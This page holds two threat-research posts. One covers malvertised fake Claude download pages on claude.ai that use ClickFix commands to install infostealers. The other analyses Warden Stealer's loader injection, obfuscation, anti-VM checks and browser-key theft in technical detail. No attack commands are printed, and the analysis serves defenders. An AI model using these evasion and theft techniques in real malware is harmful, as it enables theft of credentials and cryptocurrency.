Threat Intelligence Director

Our team invests countless hours in the exploration, discovery and investigation of emerging trends such as AI and futuristic technology. Stay informed about the evolving landscape of cyberthreats through our diligent efforts and insights.

Threat Analysis Engineer

Research

We found a fake “Download Claude” page, and one thing about it was unusual: the web address was real. The page was hosted on claude.ai, which is Anthropic’s own domain. It had Claude’s branding and what looked like simple instructions to install the desktop application. The attackers even paid for Google ads to send people there.Anthropic, of course, never published such instructions. The attackers used Claude’s features for sharing conversations and Artifacts, and through them they placed malicious content on the real website. The page did not offer any installer. Instead, it told visitors to copy a command and paste it into the Terminal on their Mac. Everybody who followed these steps installed Atomic macOS Stealer (AMOS) — a malware that is made to steal passwords, browser sessions, cryptocurrency wallets and other sensitive data.Our analysis found one more unpleasant thing. The malware can also replace the legitimate Ledger and Trezor desktop applications with modified versions. Later these fake versions ask the user to type the wallet recovery phrase, and this gives the attackers everything they need to take the victim’s cryptocurrency.And this wasn't limited to macOS. We identified another campaign using Claude's sharing features and Google Ads to target Windows users. The installation instructions were different, as was the malware being delivered, but the approach was essentially the same.Neither campaign required compromising Anthropic's infrastructure or registering a convincing imitation of its domain. The attackers simply took advantage of features available to ordinary Claude users, turning legitimate content-sharing functionality into a way to distribute malware.<h2>When the scam lives on the real domain</h2>Most phishing and scam campaigns depend on small details that the visitor is supposed to not notice — a domain name with a typo, a strange top-level domain, a missing padlock.This campaign removes all of that. The fake “Download Claude” page is real user-generated content hosted on claude.ai, and it is served in two ways: as a Shared Chat (claude[.]ai/share/…) and as a public Artifact (claude[.]ai/artifact/…). Both of them are normal Claude features for sharing content.&nbsp;MALICIOUS — the fake “Download Claude” page hosted as a claude.ai Artifact

LEGITIMATE — the real download page at claude.com/download

The platform marks the content correctly as unverified, but the domain still looks very trustworthy. On the Artifact page the only warning is a thin banner with the text “Content is user-generated and unverified.” Everything else — the domain, the padlock, the branding — looks genuine, and the attackers count exactly on this.<h2>Scam at the very top</h2>You do not find these pages by accident. The links we analyzed contained Google Ads tracking parameters (gclid, gad_campaignid). This means the attackers paid for advertising to push their malicious pages to the top of the search results — a technique that is called malvertising. In the same cluster we found several different Artifacts connected to two different ad campaigns, so this was a funded and rotating operation, not a single case.The same payload was delivered also through a Shared Chat — a fake “Claude Code on Mac” conversation. Claude puts even a disclaimer on it (“Content may include unverified or unsafe content that does not represent the views of Anthropic”), but the lure is placed right under it.

The lesson for users is unpleasant but simple: the first search result, and especially a sponsored one, is not a sign of safety. Attackers can buy their way to the top, and they do it.<h2>The command you paste yourself</h2>Here the attack becomes clever. The fake page does not really give you an application to download. Instead it shows a nice box called “Install on macOS — Quick install via Terminal” and takes you through four friendly steps: open Terminal, click a Copy button, paste, and press Enter.

This family of tricks is called ClickFix, and even though it has been here for a while, it remains popular with attackers as it avoids many defenses in a simple way:<ul type="disc"><li class="ck-list-marker-bold" data-list-item-id="e0cbd31935e1c7595a3d9fe6431f95953">Nothing suspicious is really “downloaded.” You copy some text and you run it yourself.</li><li class="ck-list-marker-bold" data-list-item-id="ed003f05ab4feaaf79055c64434639024">You are the one who runs it. The command starts a chain of scripts that are downloaded from the attacker’s server, but for the operating system it looks like you typed it.</li><li class="ck-list-marker-bold" data-list-item-id="e659ccd39d70f4d47697b4f8d3d876653">The command is scrambled on purpose. What you get on your clipboard is an obfuscated one-liner that hides the attacker’s address inside an encoded blob. So even a curious user sees only gibberish and not a suspicious URL.</li></ul>The most useful habit you can build is one: never paste into your Terminal a command that you did not write yourself. No legitimate application — not Claude and not anything else — needs you to run a cryptic one-liner to be installed.<h2>The theft begins</h2>The moment you paste the command into your Terminal and press Enter, a chain of several stages runs completely in the background:<ul type="disc"><li class="ck-list-marker-bold" data-list-item-id="e5e30139718460616724f21dd812ee6cb">A loader script is downloaded from the attacker’s server and it unpacks a second script.</li><li class="ck-list-marker-bold" data-list-item-id="eb8f50c6940661ee2f7a9486df6524399">This second script downloads the main payload — an AppleScript-based infostealer from the Atomic macOS Stealer (AMOS) family — and runs it.</li><li class="ck-list-marker-bold" data-list-item-id="e5b03026e0fc3672a45add2968e58e08b">The stealer starts its work.</li></ul>

Before the stealer can take anything, it needs Full Disk Access. If it does not have this access, it does not start to steal. Instead it shows a fake macOS “Full Disk Access required” message and quietly adds a line to the shell startup file, so the malware starts again the next time you open the Terminal. In this way it simply waits until it gets the access it needs. Once it has the access, the stealer shows a familiar dialog: a fake macOS “System Preferences” password prompt. It looks native and it does not go away until you type a password that really works. After you type it, the malware has your login password in cleartext, and it keeps it.After this it harvests, fast and quietly: Passwords and session cookies from Chromium and Gecko based browsers along with Keychain keys it needs to decrypt saved logins, crypto wallets both browser-extension and desktop applications and also files that usually hold secrets, private or otherwise interesting data such as with .pdf, .docx, .key, .seed or .pem, .wallet, or .ovpn extensions.All the collected data is packed into a ZIP file and uploaded to the attacker’s server. After the upload the stealer deletes its temporary files, so it leaves less trace behind.<h2>Fake wallet apps</h2>When the stealer sees that Ledger Live, Ledger Wallet, or Trezor Suite is installed, it downloads a trojanized copy of this application from the attacker and puts it over the real one. The modified application looks and works like a normal one.The trap activates later. The next time when you open your wallet, a convincing screen asks you to “restore” or “validate” your recovery phrase (for Trezor it even shows a fake progress animation: “Reading device info… Validating seed phrase… Almost there”). The words that you type go directly to a second attacker server — a different domain than the one which delivered the malware, and it is built only to collect seed phrases.Those words are your money. Anybody who has them can empty every wallet that is derived from them, immediately and without any way back.&nbsp;<h2>The same trick comes to Windows</h2>We also identified a separate campaign targeting Windows users. But the method does not really care about the operating system, and we found a second campaign on claude.ai that works in exactly the same way — only the victim and the final malware are different.The lure is again a page that lives on the real domain. This time it is an Artifact with the title “Install Claude on Windows”, and it is pushed in the same way: the link carries Google Ads parameters (gclid, gad_campaignid), so the attackers again paid to place it high in the search results. The page shows the Claude logo, a friendly “Three quick steps and you’re done”, and the same thin “Content is user-generated and unverified” banner on the top that almost nobody reads.

What changes is the ClickFix itself. On the Mac the victim is sent to the Terminal. On Windows the page asks you to press Win + R (this opens the Run dialog), then Ctrl + V to paste, and Enter to run. No Terminal, no file to download — only three keys, and the attack starts.What you paste is a PowerShell command, and it is malicious from the first character — there is no installer in it at all. To look harmless while it runs, it first prints a big “SYSTEM” banner and calm messages like “Challenge in progress, this won’t take long… 50% done… 70% done… Challenge completed.” For the victim it looks like a normal verification step.&nbsp;That script reaches out to GitHub. The attackers put their next stage on a github.io page, so once more a trusted name carries the malware. The file downloaded looks like an ordinary script, but inside it carries the&nbsp; .NET payload, packed and encrypted.&nbsp;<h2>The final payload</h2>The final payload is a heavily obfuscated .NET executable.&nbsp;The behavior however, is clear enough. The malware hides itself by injecting its code into a normal Windows process, so in the task list nothing looks wrong. It checks which antivirus is present, it takes screenshots of the desktop, and it reads the title of the window where the user is working. It also opens a connection to a server of the attacker and keeps it — which means the operator can send more commands later. This is the behavior of a remote-access tool, not of a simple program that steals once and goes away.And it goes after cryptocurrency. The malware searches the infected computer for crypto wallets — desktop applications like Electrum, Exodus, Ethereum, Bitcoin and Ledger, and also wallet extensions inside the browser.Two campaigns, two operating systems, two different pieces of malware — but one and the same front door: a page on claude.ai that looks official, pushed by paid ads, asking the user to run a single command they did not write.<h2>Why this goes beyond Claude</h2>Attackers have been abusing legitimate websites to distribute malware for years. What makes this case interesting is how easily Claude's sharing features could be used to create something that looked like an official software download page, without compromising Anthropic's infrastructure.Claude is unlikely to be the last AI service targeted this way. As more platforms allow users to publish and share content, attackers have more opportunities to exploit the reputation of those services. The challenge for platform operators is finding ways to prevent that abuse without making legitimate sharing unnecessarily difficult.For users, the distinction is worth remembering. A genuine website address tells you where content is hosted, but it doesn't necessarily tell you who created it or whether you should trust it.<h2>How to protect yourself</h2><ul type="disc"><li data-list-item-id="edfc88eb7579f843c82adc66243e061d1">Never paste into Terminal (or PowerShell) a command that you did not write yourself. This one habit defeats the whole ClickFix family.&nbsp;</li><li data-list-item-id="ec967e55d9b60bb6691b024d2a95e2d15">Download software from the main site of the vendor — and type the address yourself or use a bookmark. The real download page of Claude is claude.com/download. Do not trust the search results, and be extra careful with sponsored ads.</li><li data-list-item-id="e55f655cf2bb6e06bc90158a0d59c4af7">Treat the “user-generated / unverified” labels as a stop sign. If a “download” or “install” page lives on a sharing or artifact URL and not on the own product site of the company, leave it.</li><li data-list-item-id="e6e92b09b36cd54ff7d342e668284ddba">Never type your wallet recovery phrase into software that asks for it unexpectedly. The seed entry happens on the hardware device. A “restore/validate your phrase” prompt inside the app is theft.</li><li data-list-item-id="edccf837b687961a074f5261a4b687f87">Keep a reputable security software turned on. It blocks the known command-and-control servers and detects this behaviour.</li><li data-list-item-id="e4e8607ff0369cb902840b9d76a86cd36">If you think that you already ran something like this, expect a full compromise. From a different, clean device, change every important password (email, banking and crypto exchanges first), log out from all sessions, and turn on multi-factor authentication. For crypto, move the funds to a wallet that is created from a completely new recovery phrase, and reinstall the wallet applications only from the official vendor.</li></ul>

Two malware campaigns exploit Claude's content-sharing features and Google Ads to trick users into running malicious commands. 

How Criminals Abuse Claude’s Own Website to Spread Malware 

Threat Researcher at Gen

Threat Research Team Lead

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has been tracking Warden Stealer, an emerging and actively developed malware-as-a-service (MaaS) infostealer written in the Rust programming language that has, within just a few months, already become one of the most prevalent infostealers in our user base.
</li>
<li>
Unlike most of its competitors, Warden Stealer is not sold as a pure stealer but comes with its own loader and a built-in cryptocurrency clipper.
</li>
<li>
Warden Stealer is one of the first infostealers targeting configuration files and local data belonging to AI assistants and agentic coding tools.
</li>
<li>
Its builds are heavily obfuscated, morphed, and regularly updated to evade detection.
</li>
<li>
In this technical blog post, we focus on the attribution of the stealer and provide a technical breakdown of its capabilities, including an analysis of its Application-Bound Encryption (ABE) bypass.
</li>
</ul>
<h2>Introduction &amp; Attribution</h2>
Warden Stealer is a rapidly growing and actively developed infostealer-as-a-service, promoted on underground forums since August 2026. The stealer is written in the Rust programming language and targets Windows systems from Windows 8 through Windows 11 (Figure 1 below also lists Windows 7 as supported, but support for it was dropped as of Warden Stealer version 1.9).
According to its advertisement, Warden Stealer is supposedly capable of stealing data from all Chromium- and Gecko-based browsers, more than 200 cryptocurrency wallet extensions, and over 360 other targets across 13 categories, including messengers, password managers, 2FA tools, and VPN clients, with the ability to further expand its collection scope through custom file and registry grabbing rules. That said, the actual scope of collected data always depends on the configuration of the specific build, which, based on our analysis, can vary significantly from one operator to another.

What is particularly worth highlighting, however, is that Warden Stealer is one of the first infostealers we have observed stealing configuration files and local data belonging to AI assistants and agentic coding tools, such as Claude, Codex, Grok, and Cursor. This reflects an emerging trend we have been observing across the infostealer landscape recently, and one that comes as no surprise, given how much sensitive information these files may hold. Depending on the agent and its configuration, they may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, and traces of the projects a developer has been working on, giving an attacker both the means to access an account and the context needed to understand what valuable data is behind it.
Interestingly, stealing AI agent data was not among the capabilities originally listed in Warden Stealer’s advertisement, nor was it part of every build’s dynamic configuration, which led us to believe that it was the result of custom collection rules defined by specific operators. This, however, changed with Warden Stealer version 1.9 (announced on September 29, 2026), in which the malware authors officially announced the collection of tokens from AI coding agents (see Figure 2). Either way, whether through custom rules or built-in support, AI agent data is now targeted in a substantial subset of Warden Stealer builds, highlighting the growing trend of such data quickly becoming a target of interest for infostealers.

We have already covered this topic in our previous blog post, <a href="https://www.gendigital.com/blog/insights/research/infostealers-your-ai-agent">Infostealers Have Found a New Target: Your AI Agent</a>. There, however, we referred to Warden Stealer as CallbackBeaver, since at that time we had not yet been able to attribute it to Warden Stealer and had therefore given it our own name.
Attribution is always a tricky task, and this case was no exception, as the stealer does not contain any string artifacts that would directly link it to the Warden Stealer brand. What pointed us in the right direction, however, was our in-depth analysis of the stealer, which we cross-referenced with the technical details of the malware shared on underground forums by the authors themselves, as well as with information from a recent <a href="https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-warden-a978d5ae1147">interview with Warden Stealer’s authors</a> conducted by <a href="https://x.com/g0njxa">g0njxa</a>. Putting all of the pieces together, we were ultimately able to conclude that CallbackBeaver is, in fact, Warden Stealer. To give readers a better idea of what our attribution is based on, we outline the key pieces of evidence below.
First, the stealer is written in Rust, which is rather unusual, as only a handful of infostealers opt for this programming language. This is consistent with the interview, in which the malware authors attribute the choice of Rust to their prior experience with it, as well as to the “very good opportunities for code morphing” it provides. Morphing, in turn, is exactly where, we have to admit, Warden Stealer undoubtedly stands out from what is usual in the MaaS ecosystem. Unsurprisingly, it is also one of the main selling points the authors build their marketing around, advertising Warden Stealer as the “only true morpher on the market (not just an obfuscator), built upon AST code parsing and LLVM IR passes.”
Based on our analysis, the individual builds are indeed heavily obfuscated and morphed. Combined with the fact that Rust binaries are notoriously hard to reverse engineer, this makes Warden Stealer genuinely tricky to detect statically, but of course not impossible, as Warden authors kindly started to note in their underground forum posts (see Figures 3 and 4).

Second, the malware authors state in the interview that development of the stealer began in early 2026 and that the project was made available to the public on July 21, 2026. This aligns well with our own observations, as we have been tracking the first builds (for example, <a href="https://www.virustotal.com/gui/file/241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437">241df5a4ee38658329025152807fcd69b7e40361428000bb56d14cadeb48b437</a>) since the beginning of May 2026, with a significant increase in prevalence starting in early August 2026. Although the authors may not necessarily be telling the truth, the timeline once again fits their claims.
Closely related to the timeline is the spread of the stealer itself, as Warden Stealer has, in a matter of months, already become one of the most prevalent infostealers in our user base, which, again, is consistent with the authors’ claim that about 110 customers are currently actively using it.
Besides its stealing capabilities, Warden Stealer comes with its own loader and a built-in cryptocurrency clipper, which is not that common for MaaS infostealers and might be one of the key factors behind its rapid growth in popularity. Therefore, the very fact that the samples we analyzed were generally distributed via the stealer’s own dedicated loader and came with built-in clipper functionality was another strong indicator.
As for the clipper functionality, Warden Stealer originally supported six cryptocurrency networks (see Figure 5), namely BTC (Bitcoin), ETH (Ethereum), TRX (TRON), XMR (Monero), SOL (Solana), and TON (The Open Network), which exactly matches (notably, even in the same order) the dynamic configuration we extracted from an older Warden Stealer build (see Figure 6). Starting with version 1.7, the malware authors extended the clipper to support four more networks: LTC (Litecoin), XRP (XRP Ledger), ADA (Cardano), and BCH (Bitcoin Cash). We observed this change almost immediately in the dynamic configurations of newer builds as well, which now contain exactly these four networks appended right after the original six (see Figure 7), making the clipper yet another strong indicator supporting our attribution.

While there are several other attribution factors, mainly related to the capabilities claimed by the authors and what the stealer actually does, as well as to the obfuscation techniques it employs, we will not cover them in detail, as we believe the evidence outlined above already speaks for itself.
Warden Stealer is offered through a tiered subscription model, with the individual plans differing primarily in operational limits, such as the number of builds and C2 domains. Initially, the malware authors offered the Test plan for $90 per week, and the Personal and Premium plans for $349 and $499 per month, respectively. With version 1.9, however, they raised their prices considerably: the Test plan now costs $149 for three days, while the Personal plan has risen to $450 and the Premium plan to $800 per month. At the same time, they introduced a new Enterprise plan, priced at $1,500 per month.
Finally, given that Warden Stealer deliberately avoids systems located in CIS and Baltic countries and is advertised in Russian, it is reasonable to assume that its developers likely operate within Russian-speaking cybercriminal communities. However, this does not necessarily indicate their precise origin.

<h2>Landscape</h2>
Despite having been on the market for only a short period of time, Warden Stealer has already positioned itself as a major player in the infostealer landscape and is currently one of the most prevalent infostealers in our user base (together with <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a>, <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns">Amatera</a>, and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>).
Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.
Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.
<h2>Technical Analysis</h2>
In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.
<h3>Warden Loader</h3>
When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.
Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.
Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:
<ul>
<li>
Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.
</li>
<li>
Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.
</li>
<li>
Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.
</li>
</ul>
Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.
The stealer payload is embedded in the loader’s <code>.rdata</code> section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.
Examples of Base64-like alphabets observed across different Warden Stealer builds:
<ul>
<li>
<code>&lt;y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&amp;BK@6}*|1D,2&gt;7A</code>
</li>
<li>
<code>WJOTHk*aGS.#bdwLArzDM69yUR(NXZj&lt;8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&amp;q</code>
</li>
<li>
<code>Da7L(&gt;CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w&lt;.&amp;rdVP*gHzp_@Nh$1eYU'[~GK</code>
</li>
</ul>

The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.
Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.
Next, the loader selects the target process for injection. The latest builds do so by locating the <code>Shell_TrayWnd</code> window (the Windows taskbar) using <code>FindWindowA</code> and retrieving the PID of its owning process via <code>GetWindowThreadProcessId</code>. In a standard Windows session, this window typically belongs to <code>explorer.exe</code>, although the loader does not verify the process name. Older builds also targeted other processes, such as <code>msiexec.exe</code> or <code>dllhost.exe</code>.
After obtaining a handle to the target process, the loader allocates executable memory within it using <code>VirtualAllocEx</code> with the <code>PAGE_EXECUTE_READWRITE</code> protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via <code>WriteProcessMemory</code>. Subsequently, the loader invokes <code>CreateRemoteThread</code> to start execution at the appended bootstrap stub.
Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via <code>RtlGetCurrentPeb</code> and links two <code>LIST_ENTRY</code> nodes from the context block into <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code> and <code>PEB-&gt;Ldr-&gt;InMemoryOrderModuleList</code>, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by <a href="https://www.gendigital.com/blog/insights/research/goflateloader-delivers-multiple-infostealers">GoFlateLoader</a>), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.
The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.
<h3>Obfuscation</h3>
When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.
First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.
Second, Windows API functions are resolved dynamically by name (using a combination of <code>LoadLibraryA</code> and <code>GetProcAddress</code>) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">previous blog post</a>, where we covered it in greater detail.

Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

<h3>Anti-VM Checks</h3>
To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.
First, it retrieves the raw SMBIOS firmware table using <code>GetSystemFirmwareTable</code> and walks through its records, looking for at least one record of type 7 (<code>Cache Information</code>). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

Second, the stealer uses the <code>cpuid</code> instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf <code>0x40000000</code>). If the hypervisor additionally reports support for leaves beyond <code>0x400000FF</code>, a secondary hypervisor vendor ID is retrieved from leaf <code>0x40000100</code> as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (<code>KVM</code>, <code>PpyH</code>, <code>Apple VZ</code>, and <code>QXNQSBMV</code>).

Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:
<ul>
<li>
<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
</ul>
It then filters out entries marked as system components (with the <code>SystemComponent</code> <code>REG_DWORD</code> set to <code>1</code>) and entries whose <code>UninstallString</code> value cannot be retrieved. For the remaining ones, it collects the <code>DisplayName</code> values and checks whether any of these begins with the prefix <code>Virtio</code>, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.
Finally, the stealer enumerates display devices using <code>EnumDisplayDevicesW</code> and checks whether any of the adapter descriptions contains one of the substrings <code>Virtio</code>, <code>Standard VGA</code>, or <code>Basic Display</code>, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.
If the environment is considered virtualized, Warden Stealer displays a message box titled <code>DEBUG</code> with the Russian message: <code>Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?!</code> (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

<h3>Application-Bound Encryption Bypass</h3>
A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">Application-Bound Encryption (ABE)</a>. To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.
Since we have already covered the bypasses of <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a> and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>, as well as <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass">the inner workings of ABE</a>, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.
From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:
<ul>
<li>
Locate a candidate <code>v20_master_key</code> in its encrypted form within the browser’s memory
</li>
<li>
Execute injected shellcode inside the browser process to decrypt the key
</li>
<li>
Read the decrypted key back
</li>
</ul>
Before any decryption can take place, however, Warden Stealer first needs to locate the <code>v20_master_key</code> in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s <code>os_crypt_async::Encryptor::KeyRing</code>, a map that holds the keys used by the <code>Encryptor</code> class, including the encrypted <code>v20_master_key</code>. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a <code>KeyRing</code> entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence <code>v20\x00</code> – the null-terminated <code>v20</code> tag under which the <code>v20_master_key</code> is stored in the <code>KeyRing</code> map.
Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a <code>KeyRing</code> entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (<code>std::map</code>, <code>std::string</code>, <code>std::vector</code>, and <code>std::optional</code>). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a <code>KeyRing</code> entry.
Chromium <a href="https://github.com/chromium/chromium/blob/2e22ca200ff2c2c2606e345b0ec880339b6bfa73/components/os_crypt/async/common/encryptor.h#L121">defines</a> <code>KeyRing</code> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, so each of its entries is a <code>std::pair&lt;const std::string, std::optional&lt;Key&gt;&gt;</code> stored in a node of the red-black tree that implements the map. Within this pair, the <code>std::string</code> tag is followed by the <code>std::optional&lt;Key&gt;</code> value, whose <code>Key</code> object holds the encrypted <code>v20_master_key</code> in its <code>key_</code> member variable (a <code>std::vector&lt;uint8_t&gt;</code>).
Specifically, Warden Stealer inspects three consecutive <code>qwords</code> at offsets <code>+32</code>, <code>+40</code>, and <code>+48</code> from each <code>v20\x00</code> match, which, under libc++’s default pointer-based representation of <code>std::vector</code>, should correspond to the <code>begin</code>, <code>end</code>, and <code>capacity_end</code> pointers of the <code>key_</code> vector, as illustrated in Figure 21 (and previously dissected in greater detail in <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">our analysis of Vidar’s ABE bypass</a>). This leads us to conclude that the stealer leverages the <code>key_</code> vector as a verification mechanism: only if the data at these offsets plausibly resembles a <code>std::vector</code> structure does the stealer treat the match as a candidate <code>KeyRing</code> node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:
<ul>
<li>
The <code>begin</code> pointer must be 8-byte aligned and lie within the user-mode address range (<code>0x10000–0x7FFFFFFFFFFF</code>)
</li>
<li>
The <code>end</code> pointer must equal <code>begin + 32</code>, indicating a 32-byte buffer (i.e., the size of the <code>v20_master_key</code>)
</li>
<li>
The <code>capacity-end</code> pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between <code>end</code> and <code>begin + 64</code>, limiting the vector’s capacity to between 32 and 64 bytes
</li>
</ul>

